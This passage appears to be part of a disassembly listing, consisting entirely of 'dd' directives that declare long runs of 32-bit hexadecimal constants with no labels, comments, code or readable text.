		dd 739AEA70h, 0A2B30395h, 2D8E7842h, 0B9B746D0h, 998FF903h
		dd 0CB1D0CF7h, 0DF26C060h, 234506D7h, 1087044Fh, 1CFA833Fh
		dd 30C03714h, 70D6F201h, 0CE740095h, 486D6238h,	0FB00F0F1h
		dd 0FE32E73Dh, 0E6C268DDh, 9EAE009Fh, 0B9B35382h, 0D07936FBh
		dd 0BEDE9400h, 0BFF9DD25h, 0EF9100FAh, 0F18743DCh, 497E4D0Ch
		dd 8E005477h, 9B21EA78h, 3367B8Bh, 903D446Ch, 50C8E370h
		dd 0EB03570Eh, 1373D9A3h, 0A0F0D34Ah, 38C7698Fh, 9480E87Dh
		dd 508EBE7Bh, 313B435Fh, 1D382D5h, 0C18176C2h, 0DEECB3B2h
		dd 0F13F0271h, 0D3470B49h, 0F4D91540h, 4BD0DB02h, 0E005B00Ch
		dd 0B499A4h, 0AA7C5280h, 0D1097F68h, 0E7D9260Eh, 0C0DC6F12h
		dd 1360BB91h, 2BC13045h, 0A043E8F0h, 2A90DA00h,	318AE4D0h
		dd 7C71004Bh, 80A75DCFh, 4D001FA6h, 0CA01EC2Dh,	30742CDh
		dd 63143184h, 46D07951h, 200732Bh, 53776DC7h, 0F0137230h
		dd 0E77B65h, 0FAA5E6B5h, 0C3BEEC90h, 7CD8AC00h,	4482B06Ah
		dd 46B40019h, 0BB304255h, 6090F6DDh, 5DC0C100h,	8C51082Fh
		dd 0C7481878h, 238EB067h, 28C8D000h, 0CD37F212h, 523400A8h
		dd 4EE5B28Fh, 0EC0057F3h, 340C5C3h, 5D7260h, 73631BFh
		dd 9A884628h, 0F04D1900h, 6E40D0E3h, 115F6012h,	0F3DED32Ch
		dd 1D00D674h, 6B441CE2h, 0A71333h, 0C4EB739Eh, 0CA4BD4FEh
		dd 0CE163D04h, 0E280A120h, 26DBB7h, 2A51A88Ch, 1561F88Eh
		dd 131CD700h, 0D125E9B6h, 0AE6400B3h, 9EFFE74Bh, 36005E8Eh
		dd 0A9AD4370h, 0ED03947h, 41D8B76Fh, 20CC38D8h,	72C9EE0Fh
		dd 91738016h, 9AA727h, 0CFE536AEh, 0BBEC2915h, 2FFD5A00h
		dd 0FB6B7F9Fh, 0E8A100F8h, 35713F2Bh, 9A007D78h, 8E8133B0h
		dd 0B5845h, 0ED11C824h,	64EE31E8h, 0D45B0201h, 1466CCE1h
		dd 8E4FE4h, 0B86BA3FBh,	47010BBAh, 0EF2DC00h, 0F8AD7F70h
		dd 89183AA7h, 921EB880h, 2472EA3Bh, 0F7ED3A01h,	58E5541Ch
		dd 0AE113ECh, 8CABC030h, 0DB050088h, 47C61290h,	7FB8BA00h
		dd 0B689F717h, 4A430010h, 110A7973h, 0E7026A4Ch, 64AEC349h
		dd 0ECCC4898h, 8FC00E35h, 60A01968h, 0A6D0C4F6h, 390B6400h
		dd 0D3AFCB96h, 0AD0C0050h, 0BAE15865h, 0D0019327h, 0AC9D43BEh
		dd 9460F31Dh, 3B94FE0Ah, 0CC483E87h, 0CC179E00h, 45AB7C1Ch
		dd 0CDE1470Eh, 770032FAh, 701D64D5h, 0B46B3E68h, 573E5E00h
		dd 0C07DB993h, 2706CB00h, 0F539DC87h, 3DF7475h,	61EDA5EFh
		dd 0E6B3E802h, 46606788h, 404E28CFh, 0EA44C747h, 3CF80039h
		dd 5BC1EF42h, 7C00FE2Ah, 20F55795h, 0CA96B73h, 42B6CFA8h
		dd 5A008E82h, 0CA56B4AEh, 13C8150h, 0C6B2A6F4h,	0E862DDD1h
		dd 0BF0F7A15h, 9DA3CCF5h, 76B32100h, 0A9943Ah, 1203CBCAh
		dd 4A963C1Dh, 6F6C6200h, 9C6BF856h, 937803A5h, 0B7CE9A9Dh
		dd 312FD1D8h, 5CAD4000h, 821913EFh, 0DCECE3h, 0F003ECC0h
		dd 0C3626DE5h, 0B6B35200h, 64490E78h, 0ECFD2E15h, 7F1F13h
		dd 52E04BCDh, 0F700CC02h, 0DDB62438h, 5CAFC57Eh, 0A8003958h
		dd 9130E606h, 88002A4Bh, 7EC0EAEEh, 7129C42h, 0ACF1D4F9h
		dd 8E3EF044h, 7703FCD9h, 97A7521Fh, 3DC1802Bh, 0CC1000ABh
		dd 0B7C42DC0h, 0AE097E5Ch, 5600B13h, 0AE00FD74h, 0FBBD0D2Eh
		dd 9207079Bh, 0E0D63EC8h, 0B0DB1312h, 0DA033BE4h, 1F0BDD6Eh
		dd 5BD7A886h, 21A70002h, 0C0AED941h, 2F001604h,	0D3263B93h
		dd 3878A6FAh, 3000B51Bh, 0CA968209h, 0F55CF7FCh, 0EEF00010h
		dd 9D2A1CCBh, 51ED0377h, 5868AFA9h, 483A8DF0h, 0BF289101h
		dd 5366176Ah, 0C90DCh, 4D75F022h, 0F5D9AE8Ch, 0A3888600h
		dd 0F3AC8BFh, 0A1FA007Ah, 982640D5h, 570AB5FFh,	0D42E91DAh
		dd 462D0B00h, 38243Fh, 39F5F1F0h, 1C2C2F34h, 0FD064179h
		dd 282378C2h, 0D8D50131h, 556DDC09h, 5C67607Ah,	0E9EBA702h
		dd 0E07F14A8h, 92629CCh, 9A2C6F59h, 80C1C007h, 8DDA3928h
		dd 1276D400h, 157A542Fh, 0A4C9010Bh, 0BF9FFA41h, 59907020h
		dd 0F98D55Dh, 60C9014Dh, 3A61E1Fh, 44415056h, 0A33E2635h
		dd 0C7FB1C58h, 604B70CAh, 0D2A52A57h, 0EFBC2401h, 0A876251Ch
		dd 75F8A4F5h, 0C26D077Eh, 0C0847CDEh, 42C9390Fh, 0B105A500h
		dd 8071A0E3h, 70342495h, 53F6006Eh, 327AD46Eh, 9263DC1Fh
		dd 7FA4CBh, 0E3690218h,	0B02C7364h, 4C5F00F5h, 97C6F843h
		dd 880EF689h, 608CE7DAh, 0D983A3BDh, 5DF33810h,	0D0339500h
		dd 6253EF49h, 388DFB00h, 9DCF8B5Fh, 34600BFDh, 88803F7Dh
		dd 2961BFEAh, 7E35E4Ch,	8A1541B3h, 64772F80h, 6AF0005h
		dd 27A907BCh, 0C043EF2h, 0EFC865F5h, 0CD7BE4C0h, 4AE00FF9h
		dd 7C80980Bh, 7EA23C32h, 0B8731C0Ah, 0AD0EF067h, 2926C008h
		dd 1E0D80D2h, 0BA35CE0Bh, 20CD5618h, 5D007042h,	0B157A7E4h
		dd 2889D697h, 74EC9F12h, 588D003Ch, 39C3E8DCh, 0BF00AE09h
		dd 6EAACC6Ch, 3D0BA14h,	0F2B1B878h, 0FE083ADh, 3318FA80h
		dd 6E28C804h, 1C583FBCh, 0E1723480h, 851A0FCAh,	6D5BB51Dh
		dd 491BDF01h, 0C4E0BF8Eh, 111E1363h, 59A08156h,	2E18E051h
		dd 0EF7E7A79h, 32968301h, 8CBED441h, 3772AE4h, 1DBBD1B9h
		dd 38C93FF9h, 20C6D819h, 35520F2Ch, 89482D00h, 1EF3810Eh
		dd 3C57BCBEh, 1284FF80h, 0E3E16D55h, 7DE93400h,	8EE613F1h
		dd 7192480Dh, 4382A0Eh,	76810380h, 1500A787h, 0F0F679C2h
		dd 3F5C79Ah, 3C7DE14Fh,	38C009EFh, 53006C61h, 6072640Eh
		dd 75E40Fh, 0E17C185Eh,	0A9D6B711h, 12820201h, 0D9B42F3Fh
		dd 7711C07Eh, 8B001B89h, 0C2BFABFAh, 0CB0F5Ah, 0B687BCFEh
		dd 0A27E4C9Eh, 49960301h, 0D9BF57C9h, 17F2BE80h, 0CF7AEBB2h
		dd 6CAE0A0h, 0D5F4E200h
		dd 0B1B7100Fh, 5BC90340h, 2312F960h, 948866D3h,	9700C056h
		dd 0B8FDFA90h, 1DE468B4h, 4033D414h, 0CE293088h, 0AE00503Ah
		dd 3C66B3E7h, 4F49BAh, 7DDDC0ACh, 78E2261Fh, 0C90480FFh
		dd 4C8AA833h, 9B2C128Fh, 0CB8103F8h, 60F8B8F0h,	863036AAh
		dd 1CBF9017h, 20F0E9A2h, 27D900CEh, 12D6A384h, 0E278F1DAh
		dd 5ABC3516h, 257A03FEh, 380175CAh, 48660FE7h, 6EA268h
		dd 0B2790D6Ah, 9001FBFh, 0E7C5931Bh, 3A832270h,	57000F34h
		dd 0DA0C7A1Ch, 0CF00DCDFh, 0D4B43DD1h, 3C8E6149h, 121FD796h
		dd 740429D3h, 0AB6FD416h, 72030500h, 0F8E3867Fh, 0FBCE81Eh
		dd 60FB659Ch, 5B4324C0h, 411E9EFDh, 0FF8FA2D1h,	0C510802Eh
		dd 0A42C5Ah, 34E5E41Dh,	3DE7D98Ah, 6B941B00h, 0A38E7212h
		dd 1DEE0025h, 0E56C895Ah, 0B2004807h, 8C994A09h, 966A2F2h
		dd 0F4C2A990h, 22C3817Dh, 0C9D4FC6Dh, 48BA07E9h, 17892A60h
		dd 0B7088150h, 0CA9C847h, 9A98317Fh, 2F3EF100h,	725C530h
		dd 0DD1D1DFBh, 4EAA1FACh, 0ECC086A7h, 266F559h,	0A535E400h
		dd 0EFD7E249h, 4075E8h,	75508125h, 0B5B9D0FCh, 1782F800h
		dd 0F435076Ch, 0E83207D3h, 30D990BFh, 0D8FA81DCh, 948DC601h
		dd 33B16997h, 0FE539620h, 98B66032h, 0EBFA2576h, 38D7F31Ch
		dd 702924C4h, 0E2A964C0h, 0B4900193h, 0FDDC52DEh, 985EDCE1h
		dd 69006278h, 0EAD6EBDAh, 1DF06E4Ch, 4024038Dh,	31DDC887h
		dd 1500FA6Bh, 0A118A82Dh, 5FB04h, 96D31393h, 0CE781CB9h
		dd 0E900EC72h, 0E8DA55F5h, 1F1ECBh, 0B206431Bh,	0E3048B8Dh
		dd 0C7622307h, 85308C8Fh, 0B72C387h, 60867095h,	9C89B200h
		dd 1E01E9B6h, 0B20346E4h, 19C831B8h, 356F0280h,	10CE4B5Ch
		dd 37252440h, 880040F8h, 9163C906h, 1653AE2Ch, 0F06DB7DEh
		dd 6A046B78h, 0F0076225h, 95FA3C80h, 0C45D00D0h, 3BBF5E7h
		dd 44399FBCh, 37C700C8h, 0C0CE49A1h, 2D903Ch, 529C76FFh
		dd 4F2B9A30h, 0CA8C7B00h, 0C9C8F10Dh, 60260008h, 0A93645B3h
		dd 400A2D9h, 812138E8h,	166F34Fh, 33E4B29Eh, 9F4D03BFh
		dd 54076B80h, 0B690FBDDh, 0ABAA3Fh, 6047F12Fh, 5C3EA110h
		dd 0C7165E09h, 4876015Bh, 0C6F75017h, 9756006Ch, 992CFCEAh
		dd 0C477E3CEh, 0E5001E75h, 0CF75A576h, 0EE0346Fh, 6403C3ADh
		dd 87090E20h, 8C90049Ah, 0A120D260h, 5007997Eh,	393B825h
		dd 85B7D18h, 6E86828h, 0C4180A35h, 0EC78538Eh, 21F800DBh
		dd 0EA39F6D3h, 9400CC1Ch, 34E7C23Ah, 8F7FDEh, 8017F0D0h
		dd 4568F630h, 0B6DC7909h, 0D1F003E7h, 80EAB294h, 0C5BF7ABCh
		dd 0C62B0141h, 0A7632569h, 8BE3FC8Dh, 7CB48700h, 96E7EDD3h
		dd 4C7A23h, 6F7F5B0h, 7DE28CE6h, 0EB0011E2h, 42911A40h
		dd 15A6D53h, 2320DE7Ch,	0EAD91573h, 1CB88Fh, 413A585h
		dd 7903D362h, 74953D2Bh, 4F568877h, 0D2025C01h,	54A4CE00h
		dd 4C5F117h, 6AA5900Bh,	87738063h, 69615Eh, 2817B20Fh
		dd 72948B70h, 0A593DB00h, 44C37B6Bh, 0D5C400E0h, 31953038h
		dd 8E00BCEAh, 0CB799EF8h, 0F6C0EDC3h, 2AD100ACh, 0B892A60Eh
		dd 46003D3Ch, 409AF571h, 5A65E3h, 67CE934Ch, 1086880Eh
		dd 0BF710600h, 0C93EBCDDh, 42F5003Fh, 39AB805Ch, 0BBFC4F1Eh
		dd 7069500h, 5192EBE7h,	32270708h, 0A14D1430h, 0C47B7EB5h
		dd 0D006C8Bh, 0C4C1E13Bh, 13FE6Fh, 0BCADDDEFh, 64668611h
		dd 3E87063Fh, 0D89E8010h, 0ED5C5AC1h, 8E600EDAh, 0A48719B6h
		dd 0FED9E0F0h, 1F00535Fh, 850A8BFBh, 0D68DEEh, 56E12843h
		dd 48D05E9Ch, 0CD923900h, 0F49B4615h, 5E61324h,	0DB421407h
		dd 56717400h, 85BE8491h, 8E00AF78h, 0EB14A1E6h,	39DC83C2h
		dd 0B980570Fh, 214FB16Fh, 410095DFh, 0CFCB9971h, 0E8318E6Dh
		dd 0F6860562h, 0C004B82Fh, 19DAC3A7h, 6658F700h, 8E4E9ED1h
		dd 0B5E006h, 0C553392Bh, 84D372E8h, 8E7C58h, 0BEF4CD88h
		dd 0AA3CA7h, 98E6C3Fh, 4684AFE6h, 0F7995307h, 0E0973E40h
		dd 4EDC2061h, 0E1D5E020h, 78309AF5h, 77B1004Bh,	50BE3CDFh
		dd 0BB605987h, 8654E510h, 0FA043CD2h, 7AF85A8Bh, 3AE0B401h
		dd 43A8E859h, 9DAB473Dh, 4540087Bh, 2433645Fh, 86780EA7h
		dd 70A0C214h, 0C5E1B76Ch, 2B5D4600h, 42497B9Fh,	0F18C006Fh
		dd 2F7C6DF9h, 34077586h, 0A3B05AB1h, 4F4E5D20h,	98E901C8h
		dd 0F40114C0h, 11D43092h, 78ECCC00h, 0CF2F6F59h, 9FC200C4h
		dd 503C77EAh, 28004B7Ah, 1AD36320h, 193440h, 0D21F8002h
		dd 0A69A16Ch, 0AFEC5307h, 3E30F135h, 4E662Bh, 9DE878E1h
		dd 0D7466D3Ah, 911FF5F8h, 0E780DD6Eh, 0DFEC22DBh, 67B70079h
		dd 13CFB454h, 8120976h,	1B00121Bh, 0F7D75EC7h, 5C7F1F7Eh
		dd 8E5903ECh, 1AE0BDA9h, 0F60033FFh, 0A83416EBh, 1527638h
		dd 42ACFEEEh, 0D896A62Ah, 0DE0084A9h, 29F2CF5Eh, 3C38B80Eh
		dd 7C8004D8h, 7F75A3F9h, 0BB170BCCh, 2300A53Dh,	0CB5FE3B0h
		dd 7CD84848h, 7BC44A00h, 1C4BC921h, 0D23CAB07h,	0DDD0460Dh
		dd 25A142h, 52BE0B49h, 18069C5Eh, 94328400h, 0EBD6E614h
		dd 38360015h, 29D7F98Bh, 300F3FFAh, 0E3ED1F0Eh,	0B0EBC0C3h
		dd 5CAB72h, 0E59F61DBh,	0BB7A4D65h, 369ECE00h, 6849450Bh
		dd 3F1A003Bh, 0B68106ABh, 0B37F2D40h, 0E8CDF400h, 5C90E965h
		dd 0E6870020h, 0D2ADF79Eh, 0C90E08DCh, 80674F73h, 0B582BE89h
		dd 9EF303BAh, 4C2D0271h, 0E97AF9C8h, 1A233Fh, 3B76C2B2h
		dd 372644Fh, 9E019291h,	88002AA6h, 83300596h, 78FCCC49h
		dd 0DD7D0508h, 82B548F5h, 62405C25h, 0A400E256h, 0F9582CD2h
		dd 13314Bh, 0C2DE5749h,	0AAE81EDFh, 600D3Fh, 78BBEFBDh
		dd 0F3F95D2h, 0A8150172h, 52AB660h, 0F3A6E73h, 0E94580A7h
		dd 9250794Eh, 7541BF7Ch, 18C4038h, 0F874C2B9h, 0D0035677h
		dd 0AB10E3A0h, 2FF4F8D2h, 90A6015Bh, 37353699h,	9508C4ECh
		dd 73725906h, 587F17h, 0A1E1D601h, 1098450Ah, 5C437C05h
		dd 0E9C0769Ch, 0A0D9C318h, 0A07BC610h, 2B6071Ch, 0D53D3ABDh
		dd 1960DF5Ch, 650390A1h, 8C979E6Bh, 44E9A818h, 0F587C61h
		dd 5DF56D62h, 4950BAA3h, 0C89C37A0h, 0F4566301h, 0E6591336h
		dd 0C9F560h, 2DF07311h,	0FF14251Fh, 97532803h, 0F84B21BCh
		dd 1F39423Eh, 0C05A7FE6h, 2A8B6881h, 0A2001001h, 710FD122h
		dd 2C1E69Ch, 0D23196E5h, 0B263FD3Dh, 0D71BDAF0h, 2DA35501h
		dd 4CA8B142h, 708607DCh, 4EEA05B5h, 0C0812E7Fh,	0DC164561h
		dd 0B1E72000h, 0E4857C7h, 0B07F1453h, 8840BEC8h, 438A3FB4h
		dd 99CF4B0Ah, 0DEB580CCh, 414725ABh, 6631BD1Eh,	751F80F0h
		dd 0C2711CA9h, 0E7F2C080h, 426E0BD0h, 22001E76h, 531BCBF3h
		dd 41DD99Ah, 66B66793h,	685080EEh, 34005A07h, 0CC730D2Ch
		dd 7D6C7DCh, 1F594252h,	80D5F0F8h, 6016B35h, 7F1CBC5Ah
		dd 80CA0BB4h, 0CD3661DCh, 0EE550018h, 0D7E9BE42h, 5E790C96h
		dd 0A9C9F3Ch, 800E7011h, 46651900h, 3BFB08C7h, 6000220Dh
		dd 0F4A8E967h, 6E00BE6Bh, 48F78BC3h, 0DF7C975Fh, 6C52C060h
		dd 7F3CC866h, 2B8A2002h, 0E0F12C60h, 0EE40FE0Dh, 2E745CCCh
		dd 0D753007Ch, 4DE9DD7Ch, 0CF009A16h, 21E6FB58h, 0F48542Ah
		dd 7E39C6Ah, 44497D60h,	9207B5B8h, 576286C2h, 81322600h
		dd 0A1140043h, 508390E6h, 0FD0F68D6h, 40855478h, 383CFACBh
		dd 300A605Ch, 4B10BBF9h, 98D2791Ch, 0DEE73FC0h,	38049F02h
		dd 3880713Ch, 256AE3E5h
		dd 7E0F4F65h, 0A761A5D6h, 0B2C0DF14h, 0E96067h,	3E27D0F7h
		dd 6BB8C2D4h, 14004F7Fh, 0E50E0DFDh, 0A0EF30h, 0DDF9E31Bh
		dd 0C8BBE83Dh, 5E24980Ah, 3203FA6Ah, 0C067D912h, 0F02386F1h
		dd 0F8700EAh, 0AFBE7238h, 8EE653E5h, 0E204ED00h, 0F5A8BC83h
		dd 9E020078h, 1FF891FFh, 0C60026D9h, 0E60C16DEh, 58A89Fh
		dd 5585A4B3h, 2575E17Fh, 72D7EB01h, 4CE7ED98h, 0A8519E30h
		dd 0FDEA9Ch, 0F9BA168Fh, 0D9147950h, 0CE48EE0Fh, 32F7609Ah
		dd 396FD7h, 3D778F66h, 6C8928DFh, 4C922A00h, 0E4E1F91h
		dd 766D0041h, 0A5A67403h, 973A9005h, 65DF8031h,	356AFECDh
		dd 55274C13h, 4A51E900h, 1BD1ED36h, 24E46000h, 0F257C47Eh
		dd 96E459h, 0B7C6A1DFh,	0B65F88C0h, 200FBB00h, 241961EEh
		dd 77810279h, 0A5E9B7C5h, 140EE40h, 0C120DA52h,	1481C8F8h
		dd 4B3EAC08h, 3B515CBAh, 44B8009Bh, 0B95EDF04h,	0CE2B039Fh
		dd 1EA0491Ch, 18AEC983h, 4C70C000h, 200E6DCDh, 0AD1600E1h
		dd 0D5A25BF3h, 0FF001F1Eh, 0FE3F9463h, 12D570Ch, 7D512FA0h
		dd 0D436DE29h, 2A30B1F2h, 814EA05Ch, 3AFD1E21h,	6A3880B8h
		dd 972ECA63h, 0F63E6706h, 2856BBh, 0A5F71558h, 13CC1770h
		dd 0FD22B701h, 0A6725B6Ah, 77527880h, 163B6B02h, 1874A58h
		dd 0B92BFA08h, 0BEC1284Ch, 9AFEB880h, 0E1274A53h, 6DFCB100h
		dd 806E7745h, 98D3053Eh, 30FD3299h, 0D22ABF80h,	601F9723h
		dd 8B941DACh, 2AC3F300h, 3812DAE6h, 6FF2074Bh, 60EC8E22h
		dd 88059436h, 0D2BEDE1Dh, 0AA274D00h, 0E50F31Bh, 0CDE82977h
		dd 891EE220h, 6C00A0FBh, 0D57FE1Ah, 546102Eh, 0C0D65C59h
		dd 0F44C3C2h, 24401392h, 0A70F62DAh, 0F4ED9569h, 701A020h
		dd 751F8647h, 0F0005BB0h, 704EF826h, 63E63AA9h,	14043601h
		dd 0C790F252h, 0DA5D61E1h, 0ADE7BB60h, 0F781D8A0h, 0AAF62726h
		dd 0E677E03h, 38749816h, 9B513F30h, 4AA48A8Fh, 39657DA0h
		dd 300626Bh, 5BB859F8h,	842B43h, 75AC8AD6h, 0BB3E8608h
		dd 830EA500h, 7A775F5Dh, 0B5200DAh, 0CC4FFBF0h,	177731ADh
		dd 26A66803h, 88D7B508h, 7CE6F387h, 7F653069h, 39C79891h
		dd 0A25B51Eh, 8006A12h,	890FEF66h, 93B0082h, 9DAE9A3Ah
		dd 34000E06h, 5E4513E3h, 84C154h, 0FBF9FC4Dh, 37A8EB59h
		dd 6D841C50h, 8FFEB700h, 0DE8A2921h, 2F4F44Dh, 9954FA65h
		dd 5460BC9Dh, 20003FBAh, 0F871C42Dh, 79DE43CCh,	8730363h
		dd 83B5388Dh, 4647CBC8h, 2176B000h, 516EA625h, 0A8AB6116h
		dd 2023EA4Dh, 8B00B58Ch, 0A7C5CDC8h, 0ED7482h, 7514936Fh
		dd 0B34DF62Dh, 0AE716900h, 0E47B8619h, 906248A2h, 0BCA02E00h
		dd 0E0F9D010h, 97CCA81Fh, 23C3CF00h, 0EBD04D2h,	0DA036B46h
		dd 19E63D80h, 0E230EFADh, 40472042h, 2DFE9Bh, 0E826DF54h
		dd 0A39DD08h, 0B1747D00h, 0B04895C0h, 3034660Dh, 0F8978A22h
		dd 0C6C50089h, 79830C8Ch, 0A8F85438h, 6CBF5F05h, 0FCC18AF0h
		dd 91D0E005h, 6170746h,	7D18Fh,	681AE9E2h, 78D23603h, 0F3D40B2Dh
		dd 0B69DC8DBh, 77C0DAAh, 0D470BE6Ch, 9876FA32h,	0FFFCB7FEh
		dd 65C64000h, 8E7A1F73h, 1D9CF449h, 3CE96A9Ah, 5116D10Eh
		dd 56682260h, 8A003CA1h, 6458CB71h, 3BEE4C0Bh, 0B700A27Bh
		dd 0E3836A29h, 550BCDE6h, 48E811h, 36D31D52h, 0A8A0CF2Bh
		dd 0BA79E9E0h, 0E758A734h, 3F00731Ch, 8E3117BFh, 30F2D2EAh
		dd 9D70D44Fh, 38DD19F5h, 0B38FBC05h, 61CB90Fh, 181873F1h
		dd 0D8BFC5CAh, 0CF0BAB37h, 809420D7h, 355ED55Ch, 282160EAh
		dd 3796B9E9h, 4E22CF00h, 305644AAh, 8DDD0390h, 0EF90921h
		dd 726A66A0h, 71CFEB03h, 80B44523h, 594D1Fh, 0EE7CC674h
		dd 0C99CC78Eh, 651EF900h, 51D9E969h, 84550006h,	0D78D863Fh
		dd 0D006B4Eh, 0DAEA7BB2h, 3D32B9A4h, 9B001D5Ch,	451BCEBh
		dd 7100C6E3h, 74CD030Eh, 3B16564h, 0A4DDCFDBh, 30080BD9h
		dd 0C0E588EDh, 77F206EAh, 79024C46h, 4E0872F9h,	0F3A52C90h
		dd 99076F46h, 97D9A372h, 0D5DA47E3h, 601C36FDh,	529F3204h
		dd 3920C498h, 0BC0EB80Eh, 8ABA2AF1h, 0ED506411h, 7C38A6EFh
		dd 1D520C59h, 0D1387FCDh, 10680257h, 0B68169A2h, 59F9A4D9h
		dd 0D160BC7Ch, 19140894h, 1E868A00h, 0A825F8ADh, 12FD397Bh
		dd 0C29CFB29h, 34986DE2h, 5F2982B9h, 706C84D8h,	72A0476Dh
		dd 8A391D3Ah, 9C730631h, 0A66C4250h, 0F5790730h, 0F42D1E0Bh
		dd 23FD2873h, 991F6F15h, 11D86601h, 9841B968h, 0B4D2DEF2h
		dd 0A442E0D4h, 3D390220h, 3E71D860h, 0CA51B881h, 2C04254h
		dd 2511A896h, 59837A16h, 0D1A83A42h, 91F231E0h,	8A48336Eh
		dd 0FB01B0FAh, 0AD1D56B6h, 9208484Ah, 91804C7Ah, 0C2F850E1h
		dd 31D8296Bh, 0CC7CCA80h, 1D201831h, 0CC835066h, 0D08C54F1h
		dd 1F21005Eh, 1E2327EDh, 18C7FF6Dh, 90EA59D1h, 7894F814h
		dd 0A820620Dh, 981E703Bh, 0E8B87162h, 0D5CDD081h, 9BE42038h
		dd 1B11A0A0h, 8D205C90h, 0DF6DF845h, 7D8ED258h,	0D859807Ch
		dd 0CED74285h, 0FDA8DEFAh, 0A6DC062h, 0A0B0A047h, 8C4C6C2Ah
		dd 44FA7803h, 14BC4EA6h, 0E4BF5148h, 0D33B95B0h, 1CA0677Ch
		dd 23038C98h, 518E375h,	0B88DD26Fh, 9267B238h, 383880F4h
		dd 0D932240Eh, 0F6CB58D4h, 0C7BF918h, 120F6211h, 0FC28E30h
		dd 83E019F4h, 8BA3BBFDh, 263CC890h, 0C0C452D5h,	2EE94250h
		dd 86170012h, 1B9E8CB9h, 0D100FE7Ah, 0CFFB71C1h, 14391BBh
		dd 0F8317440h, 0D0F9D9C7h, 47BF601h, 0BA0314A6h, 0E0069F85h
		dd 0AC99D003h, 84F62BB9h, 7D803C28h, 0C93D3A02h, 906B9D9h
		dd 12E4F604h, 64A41408h, 458118D7h, 103FC2B1h, 316259h
		dd 0AFE264F6h, 0C5619A11h, 91032B1Ch, 4D402029h, 6004D429h
		dd 107998EDh, 1B30EF5Eh, 0F05841F8h, 97C33F2Bh,	94806CD2h
		dd 6A03A2C2h, 1900097Ah, 5BEFC62Ah, 42755FF9h, 0DE42006Eh
		dd 9C1C1BF6h, 14380118h, 719BEFC3h, 18B0A32Ch, 4ADD7207h
		dd 0D3047643h, 8087FFD9h, 813E41DEh, 0A04F539Bh, 97E1AE00h
		dd 189DFA76h, 257CF800h, 89E45B8Fh, 0FDEE2990h,	1406BE18h
		dd 98178120h, 60A09837h, 0D8C074FAh, 61983CD4h,	7CB8281Eh
		dd 0BC1048D2h, 0D7934A00h, 581839FFh, 80DE3FCDh, 0BB0828B1h
		dd 0A3BC5C71h, 105A853Bh, 0C3330216h, 5EBADB28h, 36B684B0h
		dd 0D288607h, 17111838h, 505C80DBh, 0AF25159Eh,	3902989Ch
		dd 0DA1BA3A8h, 7C6028B0h, 0F972FAh, 58A9BD8h, 0CF572E90h
		dd 882DC39Eh, 857F6EC1h, 0B8F0FA40h, 20CFC09h, 9877242Ch
		dd 24C31F3Ch, 8A00082Dh, 0A050F9h, 9660AF3Bh, 0F0A0B5CEh
		dd 0BA50C784h, 2BE875F4h, 0A044A348h, 14850A06h, 0C4A47C7Eh
		dd 809C2F1Ah, 4CC07433h, 29C085CCh, 93C689B8h, 0E0DB0A8Eh
		dd 0C050232Eh, 1DB56815h, 58DC0450h, 0A4345F00h, 557FD0F1h
		dd 44725389h, 0B69D3A02h, 0A4834839h, 307C6579h, 12F28F08h
		dd 866B5001h, 73F0EE1Bh, 0BE9A8B90h, 82C80930h,	3814F1A7h
		dd 62C43C02h, 40A37E1Eh, 91BAB884h, 0D3B4C0ACh,	684048A3h
		dd 0C43B1FD9h, 0BF4047ECh, 0C64F73EFh, 0A4949BC2h, 987BB005h
		dd 0C8406F1Ch, 432B17AAh, 0D908DCA3h, 2769117Eh, 0C38F0160h
		dd 0A9136C37h, 0F5C6C040h, 71ED0163h, 245B82ABh, 356DE0DBh
		dd 9B018678h, 4D62C5FFh, 189EDC8Dh, 0EE7880F1h,	5A11ADABh
		dd 2543E891h, 0F4D48BB3h, 94A093h, 6EEA9B58h, 78CC8D63h
		dd 96062DE8h
		dd 0B1F1A555h, 93EC0009h, 46E23B83h, 0AC285B81h, 0C831AC8Ah
		dd 0F3EA78F9h, 0C65FADD0h, 90B9CDA0h, 20A9DDF1h, 0C674A4A8h
		dd 0BD9F3B1Dh, 4BB5B180h, 607951A5h, 1136181Ah,	0A024BBD5h
		dd 821398CEh, 14E42C09h, 2A33B09Ch, 14AC115Fh, 90F65859h
		dd 8DF8E18h, 8301C9B9h,	0A427BCBBh, 0A8BA9F31h,	2D90B533h
		dd 0D02E40FBh, 8D147D96h, 0B812A0DCh, 65E324EAh, 0B863953Ch
		dd 0C085E014h, 0C19D8C07h, 6CCFAD1h, 484E778Dh,	8281CE00h
		dd 0C1A8BD7Bh, 688F69F1h, 8902AB00h, 0AA64FBAEh, 0CC945AD8h
		dd 1321FC28h, 5CD0CD9Fh, 0D85A5998h, 0F480C68Dh, 0A42F211Bh
		dd 0B86B1128h, 53A60D05h, 60602D60h, 24944120h,	946C5992h
		dd 1B18F051h, 0E74DC832h, 0CBAD40C5h, 0B701981Eh, 120E78A1h
		dd 35DB6887h, 0FD4E819Ah, 16BBE087h, 2B6E10C2h,	0CD7860F5h
		dd 4CE0C49Eh, 65B082FEh, 0A9518880h, 0FB008289h, 0EAA7AC9h
		dd 1C62EBE0h, 8CC7AD2Dh, 0BB609AEEh, 28846731h,	0AEF9BD21h
		dd 18AA79F8h, 0E028CF6Eh, 9518735Eh, 0D110C3FBh, 70DB809Fh
		dd 1DA07D62h, 2758407Eh, 2483745Ch, 144C5E79h, 0B10C84AEh
		dd 78105DE0h, 0E691B0A0h, 30B0D163h, 0B5501820h, 276D0822h
		dd 78B9E383h, 62A23A88h, 1ECBC9Dh, 757A500Dh, 30D6C92Eh
		dd 0BB749F54h, 40805136h, 7118C5F0h, 0B18003D0h, 830D315h
		dd 0BD51B875h, 0AE90A3C9h, 8A31E928h, 0CD3D0880h, 0C3D231C1h
		dd 89605490h, 0F6FF1140h, 4C5B1980h, 47E8E885h,	3BA82C0h
		dd 0F8829843h, 1F9EA440h, 634BC4A0h, 0F06140CAh, 1836EB8Dh
		dd 6081D6EDh, 0DB814A99h, 91B88FBFh, 7B80C029h,	0ECD2E7C0h
		dd 609663CEh, 81E81C8h,	3B0C7FEAh, 489B20A0h, 2E0A195Eh
		dd 98C0D9Ah, 34820E67h,	40400FEEh, 68CAA591h, 3B07D0BEh
		dd 3AF1F060h, 0BAD0C809h, 83C20534h, 815F715Bh,	41C1B7BCh
		dd 20F23598h, 0A86F9B40h, 18344CF8h, 0A1A9C0EAh, 5FED6042h
		dd 67F160C0h, 635BD51Ah, 0CE4D3813h, 0BCFB1012h, 8305CC49h
		dd 521B1Ch, 487FAD10h, 77E4CD60h, 0FC910898h, 2D9FB140h
		dd 0E8964DB6h, 4C2B24h,	78A9AD7Bh, 0AA5036AEh, 48482984h
